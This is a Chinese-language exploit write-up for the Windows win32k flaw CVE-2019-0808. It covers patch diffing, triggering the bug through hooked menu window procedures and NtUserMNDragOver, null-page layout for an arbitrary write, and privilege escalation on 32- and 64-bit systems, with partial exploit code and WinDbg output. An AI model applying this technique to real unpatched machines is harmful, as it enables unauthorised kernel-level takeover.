CVE-2019-0808


CVE-2019-0808

漏洞成因及觸發

通過搜索資料了解到CVE-2019-0808的漏洞函數位於win32k!xxxMNFindWindowFromPoint,為了了解漏洞成因,我們先分析一下補丁是如何修復的。

補丁對比

通過BinDiff對比可以看到在HMValidateHandleNoSecure后額外添加了一個safe_cast_fnid_to_PMENUWND函數對返回的tagWND對象進行校驗,而不是僅僅判斷tagWND是否為0。

補丁細節

通過下面代碼可以看到在補丁后,首先通過safe_cast_fnid_to_PMENUWND檢查了窗口對象是否為FNID_MENU(fnid = 0x29C),如果通過safe_cast_fnid_to_PMENUWND檢查(表明這的確是一個類為#32768的菜單窗口對象),那么將會對tagWND->cbWndExtra和其指向的tagPOPUPMENU->spMenu進行檢查,這里對菜單窗口的解釋引用一下琦哥的文章​ 🍉

在 Windows 內核中,菜單對象在屏幕中的顯示通過窗口 tagWND 對象的特殊類型 #32768(MENUCLASS) 菜單窗口對象來實現,菜單窗口對象末尾的擴展區域中存儲指向關聯的彈出菜單 tagPOPUPMENU 對象的指針

unsigned int __stdcall safe_cast_fnid_to_PMENUWND(tagWND *a1)
{
  unsigned int result; // eax

  if ( a1 )
    result = (a1->fnid & 0x3FFF) == 0x29C ? (unsigned int)a1 : 0;
  else
    result = 0;
  return result;
}
v7 = (tagWND *)safe_cast_fnid_to_PMENUWND(v6);
if ( !v7 )
	return 0;
v8 = (tagPOPUPMENU *)v7[1].head.h;
if ( !v8 || !v8->spmenu )
return 0;

思考

為什么在補丁后對tagWND做了額外的校驗,通過向上觀察代碼可以發現,這個窗口句柄是通過調用xxxSendMessagetagPOPUPMENU->spwndNextPopup發送MN_FINDMENUWINDOWFROMPOINT消息后返回的,那么我們是不是可以通過修改tagPOPUPMENU->spwndNextPopup的窗口處理函數來返回一個偽造的窗口句柄。

  1. 為什么是給tagPOPUPMENU->spwndNextPopup發送消息?
    • 在IDA中通過交叉引用可以看到漏洞函數win32k!xxxMNFindWindowFromPoint是由win32k!xxxMNMouseMove調用的,而win32k!xxxMNMouseMove是菜單窗口過程處理函數用來處理鼠標在菜單內移動的消息,如果此時鼠標由主彈出菜單移動到了子彈出菜單,那么在win32k!xxxMNFindWindowFromPoint內部就會通過xxxSendMessage對子彈出菜單發送消息來獲取子彈出菜單的句柄,用來在后續代碼中對子彈出菜單發送消息來完成繪制和鼠標選中等效果。

  1. 創建合適的彈出菜單

    • 如果我們按照如下的代碼創建了一個包含子彈出菜單hMenuSub的彈出菜單hMenuRoot,至於下面為什么要將菜單dwStyle設置為MNS_DRAGDROP,我們后面漏洞利用時再展開,設置MNS_MODELESS是因為模態對話框會導致其他用戶界面對象接收不到消息。
    HMENU hMenuRoot = CreatePopupMenu();
    HMENU hMenuSub = CreatePopupMenu();
    
    
    MENUINFO mi = { 0 };
    mi.cbSize = sizeof(MENUINFO);
    mi.fMask = MIM_STYLE;
    mi.dwStyle = MNS_MODELESS | MNS_DRAGDROP;			 //非模態菜單
    SetMenuInfo(hMenuRoot, &mi);
    SetMenuInfo(hMenuSub, &mi);
    
    AppendMenuA(hMenuRoot, MF_BYPOSITION | MF_POPUP, (UINT_PTR)hMenuSub, "Root");
    AppendMenuA(hMenuSub, MF_BYPOSITION | MF_POPUP, 0, "Sub");
    
    • 雖然菜單創建完成了,但是並不能顯示在桌面上,由下圖可以看到CreatePopupMenu只是初始化了tagMENU結構體,但是想要在桌面上顯示還需要一個tagWND窗口對象作為媒介來傳遞消息,就像上面說的是通過一個類為#32768的窗口對象來顯示菜單,在應用層可以使用TrackPopupMenuEx(已文檔化)來顯示。

​ 修改后的代碼及運行效果如下:

  1. TrackPopupMenuEx

那么在TrackPopupMenuEx內部是如何實現對彈出菜單的管理以及我們應該在何地何時劫持MN_FINDMENUWINDOWFROMPOINT消息並返回偽造的窗口對象呢,接下來我們開始簡單分析一下TrackPopupMenuEx內部實現xxxTrackPopupMenuEx

  • xxxTrackPopupMenuEx內部通過xxxCreateWindowEx為彈出菜單對象創建了一個類型為#32768的窗口對象,在tagWND的末尾拓展區域存放了一個tagPOPUPMENU結構,並對tagPOPUPMENU進行初始化

  • 然后創建了一個tagMENUSTATE結構體用來描述彈出菜單的各種狀態
menuState = xxxMNAllocMenuState(v23, v22, v17);
  • 在最后通過xxxWindowEvent向用戶層發送EVENT_SYSTEM_MENUPOPUPSTART(0x6)事件消息通知應用層的事件回調,微軟文檔介紹如下,在應用層可以通過SetWinEventHook來注冊
EVENT_SYSTEM_MENUPOPUPSTART
(0x0006)
A pop-up menu has been displayed. The system sends this event for standard menus, which are identified by HMENU, and are created using menu-template resources or Win32 menu functions. Servers send this event for custom menus, which are user interface elements that function as menus but are not created in the standard way. This event is not sent consistently by the system.

  • 通過在WinDbg中跟蹤發現這里的xxxWindowEvent並沒有立即調用用戶回調,而是采用異步的方式放入了消息隊列,這里猜測是因在應用層調用TrackPopupMenuEx時還沒有執行到應用層的消息循環,因此在xxxTrackPopupMenuEx內部發送的一系列創建顯示彈出菜單的消息還在消息隊列還沒有被窗口過程處理,所以xxxWindowEvent采用的異步的方式等到彈出菜單真正被創建時才調用的用戶回調。
  • 我們在Windbg中觀察一下在xxxTrackPopupMenuEx中完成對tagPOPUPMENU初始化后的情況,通過下圖可以看到xxxTrackPopupMenuEx已經為hMenuRoot創建了一個#32768窗口(spwndPopupMenu),但是spwndNextPopup卻為空,不知道大家還記得上面在思考這章開頭,在win32k!xxxMNFindWindowFromPoint中調用xxxSendMessage是給哪個窗口發送的消息,沒錯就是給spwndNextPopup窗口,但是這里為什么spwndNextPopup域卻為空呢?其實很簡單,我們在桌面右鍵顯示彈出菜單的時候,初始狀態由於我們鼠標沒有移到含有子彈出菜單的菜單項上(如查看項),默認是不會顯示的。

  1. 返回偽造窗口的時機

通過上面的分析,我們已經有了一個大概的思路:

  • 首先通過SetWinEventHook注冊EVENT_SYSTEM_MENUPOPUPSTART類型的事件回調,在xxxTrackPopupMenuEx內部向消息隊列放入彈出菜單創建的事件的消息后,會在TrackPopupMenuEx執行完后我們的消息循環中進行觸發,因此第一次進入我們的事件回調時是hMenuRoot的繪制完成的時候
  • 這時我們在事件回調中給當前菜單窗口句柄(也就是xxxTrackPopupMenuEx內部創建的#32768窗口)發送一個WM_LBUTTONDOWN消息(這里既是為了創建並顯示子彈出菜單也是為了配合后面鼠標移動的消息形成拖拽動作,具體原因在后面利用再詳細解釋),這時就會觸發子彈出菜單的顯示(這里要注意給子彈出菜單創建#32768窗口是在處理WM_LBUTTONDOWN消息的過程中,而不是在xxxTrackPopupMenuEx中)
  • 由於子彈出菜單的創建,因此會第二次進入到我們的事件回調,這時我們向子彈出菜單發送一個 WM_MOUSEMOVE消息,此時會形成一個從rootsub的拖拽動作,具體代碼具體為如下:

  • 如果我們在漏洞函數win32k!xxxMNFindWindowFromPoint下過斷點,在發送WM_MOUSEMOVE后就會斷下,此時堆棧如下:
1: kd> k
 # ChildEBP RetAddr  
00 95a6ba28 8364943c win32k!xxxMNFindWindowFromPoint
01 95a6ba64 83649066 win32k!xxxMNMouseMove+0x4d
02 95a6bac0 8367e233 win32k!xxxHandleMenuMessages+0x2ed
03 95a6bafc 8364e4a4 win32k!xxxCallHandleMenuMessages+0x8d
04 95a6bb54 835c94f3 win32k!xxxMenuWindowProc+0x125
05 95a6bb94 83589709 win32k!xxxSendMessageTimeout+0x1ac
06 95a6bbbc 83596330 win32k!xxxWrapSendMessage+0x1c
07 95a6bbd8 835cb4cd win32k!NtUserfnNCDESTROY+0x27
08 95a6bc10 83e541ea win32k!NtUserMessageCall+0xc9
09 95a6bc10 77c970b4 nt!KiFastCallEntry+0x12a
0a 004cfa84 760b4f51 ntdll!KiFastSystemCallRet
0b 004cfa88 760b0940 USER32!NtUserMessageCall+0xc
0c 004cfac4 760b5582 USER32!SendMessageWorker+0x546
0d 004cfae4 000cfbec USER32!SendMessageW+0x7c
  • 我當時分析時立馬產生了一個想法,我們是不是可以就在這次進入漏洞函數win32k!xxxMNFindWindowFromPoint時返回偽造的窗口句柄呢,馬上測試,我們首先在應用層通過SetWindowsHookEx注冊一個窗口過程回調(WH_CALLWNDPROC),在回調中我們判斷是否為MN_FINDMENUWINDOWFROMPOINT消息,如果是則通過SetWindowLongPtr替換子菜單窗口的窗口過程,並在我們的窗口過程中返回事先已經創建好的偽造#32768窗口,具體代碼如下:

//////////////////////////////////////////////////////////////////////////////////
//
// SetWindowsHookEx's handler
//

LRESULT CALLBACK CallWndProc(
	_In_ int    nCode,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
)
{
	PCWPSTRUCT msg = (PCWPSTRUCT)lParam;

	//__debugbreak();

	if (msg->message == MN_FINDMENUWINDOWFROMPOINT)
	{
		cout << "msg: 0x" << hex << msg->message;
		cout << "\thwnd: 0x" << hex << msg->hwnd;

		auto hwnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(msg->hwnd, NULL);
		cout << "\thwnd_kernel: 0x" << hex << hwnd_kernel << endl;

		SetWindowLongPtr(msg->hwnd, GWLP_WNDPROC, (ULONG_PTR)FakeWindowProc);

	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
//////////////////////////////////////////////////////////////////////////////////
//
// FakeWindowsProcedure for hMenuSub's tagMenuWnd
//

LRESULT CALLBACK FakeWindowProc(
	_In_ HWND   hwnd,
	_In_ UINT   uMsg,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
) 
{
	if (uMsg == MN_FINDMENUWINDOWFROMPOINT)
	{
		SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc);

		return (LRESULT)g_fakeWnd;
	}
	
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}
  • WinDbg中觀察xxxSendMessage發送MN_FINDMENUWINDOWFROMPOINT消息后返回的窗口句柄,從下圖可以看到已經被替換為我們創建的偽造窗口句柄,那我們是不是已經觸發漏洞了的,但其實只能說觸發了一半,為啥呢?

  • 雖然我們已經成功替換了菜單窗口,並由xxxMNFindWindowFromPoint返回給上層函數xxxMNMouseMove,但在xxxMNMouseMove中檢查了tagMENUSTATEfInDoDragDrop標志位是否置位,才會進入xxxMNUpdateDraggingInfo函數,只有xxxMNUpdateDraggingInfo這個函數里面才使用了xxxMNFindWindowFromPoint返回的tagWND->tagPOPUPMENU->spMenu域,而這個spMenu在我們自己創建的#32768窗口中是沒有初始化的,也就是為0,在Win7中我們是可以通過申請零地址頁面來控制這塊數據的,因此現在的關鍵就是要在xxxMNFindWindowFromPoint之后進入xxxMNUpdateDraggingInfo函數,也就等價於要將fInDoDragDrop置位。

  • 通過網上公開的分析資料了解到可以通過手動調用NtUserMNDragOvertagMENUSTATE中的fInDoDragDrop置位並進入xxxMNMouseMove函數,所以上面我的猜想(在第二次觸發事件回調時發送WM_MOUSEMOVE消息並返回偽造的窗口句柄)雖然可以成功在xxxSendMessage后返回偽造的窗口句柄,但並不會進入xxxMNUpdateDraggingInfo函數因而無法進行利用。

  • 因此我們需要定義一個全局變量來控制我們該何時在窗口過程回調中替換子菜單窗口的窗口過程,因為在第二次事件回調中由於我們發送了WM_MOUSEMOVE,所以會觸發xxxSendMessage來發送MN_FINDMENUWINDOWFROMPOINT消息(上面已經貼出了處理WM_MOUSEMOVE消息的調用堆棧),這會被我們的窗口過程回調所捕獲,因此我們需要這個全局變量來控制第一次進入窗口過程回調時不采取任何動作,而是在我們手動調用NtUserMNDragOver后進入xxxMNMouseMove->xxxMNFindWindowFromPoint->xxxSendMessage時替換子菜單窗口的窗口過程,因此我們的窗口過程回調需要稍作修改,並在手動調用NtUserMNDragOver前將全局變量bOnDrag置1:
//////////////////////////////////////////////////////////////////////////////////
//
// SetWindowsHookEx's handler
//

LRESULT CALLBACK CallWndProc(
	_In_ int    nCode,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
)
{
	PCWPSTRUCT msg = (PCWPSTRUCT)lParam;

	//__debugbreak();

	if (msg->message == MN_FINDMENUWINDOWFROMPOINT && bOnDrag)
	{
		cout << "msg: 0x" << hex << msg->message;
		cout << "\thwnd: 0x" << hex << msg->hwnd;

		auto hwnd_kernel = p_leak.GetUserObjectAddressBygSharedInfo(msg->hwnd, NULL);
		cout << "\thwnd_kernel: 0x" << hex << hwnd_kernel << endl;

		SetWindowLongPtr(msg->hwnd, GWLP_WNDPROC, (ULONG_PTR)FakeWindowProc);

	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}
	MSG msg = { 0 };
	while (GetMessage(&msg,NULL,NULL,NULL))
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);

		if (g_MenuCreate == 2)
		{
			bOnDrag = true;
			POINT pt;
			char buf[100];
			pt.x = 2;
			pt.y = 2;

			//__debugbreak();

			NtUserMNDragOver(&pt, buf);
			g_MenuCreate++;
			break;
		}
	}

32位利用

經過上面分析和修改相應代碼后,我們在xxxMNUpdateDraggingInfo中下斷就已經可以斷下了,我們先來分析一下32位上的利用,x64上大同小異,只有在繞過比較時會有少許不同,我們后面再講。

xxxMNUpdateDraggingInfo進行簡單的靜態分析可以發現,我們需要解決的問題主要有以下幾個,我們接下來一個一個解決。

第一個問題

首先第一個問題是我們在調用MNGetpItem時,我們如何知道它的第二個參數v3->uDraggingIndex的值,並且如何確保MNGetpItem的返回值v8不為零並且為我們想要任意寫的地址減4,這本來是第6個問題的,先提前在這里講一下,在xxxMNSetGapState中也調用了MNGetpItem,並且如果v3->uDraggingFlags = 2(第5個問題)時,會對MNGetpItem的(返回值+4)進行一個或上0x40000000的操作,因此我們在第6個步驟中獲得了一個任意地址或上0x40000000的能力,這個可以進一步轉化為越界寫,后面再細講,我們先分析一下MNGetpItem的內部實現:

由於我們在xxxMNFindWindowFromPoint->xxxSendMessage返回了一個偽造的未經初始化的菜單窗口對象,其窗口拓展區域存儲的tagPOPUPMENU對象也是未經初始化的,即tagPOPUPMENU->spmenu成員 為0,因此我們可以在應用層通過ZwAllcoateVirtualMemory申請0地址頁面,從而就可以控制上面MNGetpItem中的執行邏輯,在上面我們提到了我們要使MNGetpItem返回不為0並且為我們想要任意寫的地址減4的值,因此我們就需要在地址0x20的位置設置一個大於uDraggingIndex的值,那么uDraggingIndex又等於多少,我們能在應用層知道嗎,通過向上回溯,發現uDraggingIndex是在xxxMNFindWindowFromPoint->xxxSendMessage作為第三個參數傳入的,因此我們可以在應用層FakeWindowProc窗口回調中得到uDraggingIndex的值,並且設置零地址頁面數據的操作也要在此進行,因為只有在這里我們才能確定uDraggingIndex的值,才能准確計算任意寫的地址,FakeWindowProc代碼如下:

//////////////////////////////////////////////////////////////////////////////////
//
// FakeWindowsProcedure for hMenuSub's tagMenuWnd
//

LRESULT CALLBACK FakeWindowProc(
	_In_ HWND   hwnd,
	_In_ UINT   uMsg,
	_In_ WPARAM wParam,
	_In_ LPARAM lParam
) 
{
	if (uMsg == MN_FINDMENUWINDOWFROMPOINT)
	{
		SetWindowLongPtr(hwnd, GWLP_WNDPROC, (ULONG_PTR)DefWindowProc);

		cout << "wParam:0x" << hex << *(PULONG)wParam << endl;	

		g_uDraggingIndex = *(PULONG)wParam ;
		SetNullPageData();

		return (LRESULT)g_fakeWnd;
	}
	
	return DefWindowProc(hwnd, uMsg, wParam, lParam);
}

再回來繼續觀察MNGetpItem的代碼,現在我們能夠准確得到uDraggingIndex的值了,因此我們只需要將地址0x20的值設置為大於uDraggingIndex就可以繞過if判斷,但是為什么我要設置為uDraggingIndex + 1呢,具體原因在第6個問題里面再講,可以看到MNGetpItem最終的返回值計算方式為result = (tagITEM *)(*(_DWORD *)(NullPage + 0x34) + 0x6C * uDraggingIndex),因此地址0x34的位置的值(即下圖的offset1)要為我們想任意寫地址減去0x6C * uDraggingIndex再減去4,在下圖可以看到offset1 = g_primaryWnd - g_uDraggingIndex * 0x6C + 0x90 -0x4;即想任意寫的地址為g_primaryWnd + 0x90,即為tagWND->cbWndExtra,講到這里大家可能已經明白了,我們是想通過修改tagWND->cbWndExtra來通過SetWindowLongPtr來進行越界寫,因此在最初我就創建了0x100個窗口,並取了最后兩個窗口作為操作對象。

第四個問題

由於第一個問題解決后,因此MNGetpItem返回值是大於零的,第二個問題解決,

第三個問題是要保證v8+20表示的地址能夠正確訪問,由於v8 = g_primaryWnd + 0x90 -0x4的(見上面對offset1的計算),而由於通過SparyWindow函數進行了連續申請,因此g_secondWndg_primaryWnd是緊緊相鄰的,因此v8+20地址處肯定是可以訪問的,第三個問題解決,

這里來到最重要的第四個問題,簡單的來說就是我們要使地址addr1 = 0x6C * *(0x4C) + *(0x34) + 0x28可以訪問(后面簡稱addr1),並且要使v10的值大於后面兩個if判斷中的值(即第5個問題)才能使到達v3->uDraggingFlags = 2;,為什么要使uDraggingFlags = 2上面已經講過了,因此我這里產生了一個想法,如果我能夠使addr1通過整數溢出重定位到0地址附近是不是就可以由我們控制了呢?

現在我們來簡化一下addr1的算式,由於*(0x34) = offset1(見下圖),因此addr1 = 0x6C * offset2 + offset1 + 0x28,如果我們想把addr1重定位為0x28地址只需offset2 = (0 - offset1)/0x6C(offset1是已知的),但是這里可能會出現一種情況,就是(0 - offset1)/0x6C無法除盡,有余數,這樣的話addr1最后計算出來就有可能在[-0x44,0x28]之間浮動,如果addr1落在了[-0x44,0)這個區間,這個地址肯定是不可讀的,因此肯定會藍屏,因此如下圖所示offset2 = (0 - offset1)/0x6C+2,對offset2額外進行了+2,因此落入的區間肯定是在0地址往后,至於為什么不是+1,其實我一開始是+1的,后面發現+1的addr1可能落在區間[0x28,0x94),因此有一定幾率覆蓋offset1,從而導致在第三個問題那里發生訪問異常。offset2確定后,addr1的位置就可以計算了,算式如下圖*(PULONG_PTR)(NullPage + 0x28 + (2 * 0x6C - offset2_remainder)) = 0x7ffffffe,即減去(0 - offset1)/0x6C的余數即可,至於為什么設置為0x7ffffffe,是因為第5個問題那里是進行的有符號數比較,那為什么不是0x7fffffff?,你設置為0x7fffffff調試一下就知道了​ 😄

第六個問題

在四個問題中我們同時解決了第五個問題,現在我們來看一下最后一個問題即xxxMNSetGapState,在上面可以看到總共調用了兩次xxxMNSetGapState,由於第一次參數fSet = 0,不會觸發與操作(見下圖),因此我們主要關注第二次xxxMNSetGapState調用,由於上面我們已經解決了第五個問題,uDraggingFlags = 2 | 4 = 6,因此最終會走到下圖紅框處*(v6 + 4) |= 0x40000000uv6MNGetpItem的返回值,我們已經通過計算使其等於待寫地址減4,因此*(v6 + 4) |= 0x40000000u將會導致一次任意地址或上0x40000000的操作,上面我說過我們將地址0x20處設置為g_uDraggingIndex + 1,這里就可以解釋了,因為設置為g_uDraggingIndex + 1可以在xxxMNSetGapState中第一次調用MNGetpItem時可以返回非0值,第二次返回0(見上面對MNGetpItem的分析),至於為什么要第二次返回為0,是因為不想執行下圖的v8->fState |= 0x80000000,因為這有可能破壞待寫地址+0x6C的值,當然不一定會藍屏,但總歸有一定風險。

解決上面所有問題后,我們在WinDbg中觀察一下g_primaryWnd ->cbWndExtra字段

利用

現在我們已經修改g_primaryWnd ->cbWndExtra字段后,問題就很簡單了,我們可以通過SetWindowLongPtr來越界修改g_secondWndlpfnWndProc 字段,因為g_secondWndbServerSideWindowProc是置一的,其默認窗口過程為win32k!xxxDefWindowProc,即是運行在內核態的,因此我們就可以在修改g_secondWndlpfnWndProc 字段后,隨即向g_secondWnd發送一個消息觸發其窗口過程,然后我們在窗口過程中完成提權操作。

提權演示如下

64位利用

64位利用除了在零地址頁面布局有些許不同,其他的利用步驟基本一致,只需改一下某些偏移並將ShellCode在單獨的asm文件實現

這里主要講一下在零地址布局遇到的問題,在32位利用時我提到了將addr1重定位到零地址附近,但是這在64位上卻不行了,經過分析發現原因如下,offset2只取了低32位,而在64中由於offset1在內核地址過大,在除以0x90后得到的offset2是超過32位的,因此在下圖只取了低32位是無法重定位到0地址附近的,因為重定位到0地址附近是依靠整數溢出的。

因此我換了一種思路,雖然無法重定位0地址附近,但是我們可以控制其位於內核固定的某個位置0x90附近浮動,所以我改了一下32位利用時的SparyWindow函數,在最后加上了一個窗口拓展區域大小為0x90的窗口(如下圖),因此這個窗口g_prepareToRead地址肯定是在g_secondWnd之后並且緊挨着或者相隔不遠,因此我在零地址布局時通過SetWindowLongPtr將其窗口拓展區域全部設置為0x7777777777777777,因為是有符號比較並且不想計算具體會位於窗口拓展的哪個位置,干脆就全部設置為7算了,免的設置為大於7的萬一命中后成負數了。其他的基本和32位利用一致

提權演示如下

參考

https://xiaodaozhi.com/exploit/122.html

https://github.com/ze0r/cve-2019-0808-poc

http://blog.exodusintel.com/2019/05/17/windows-within-windows/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM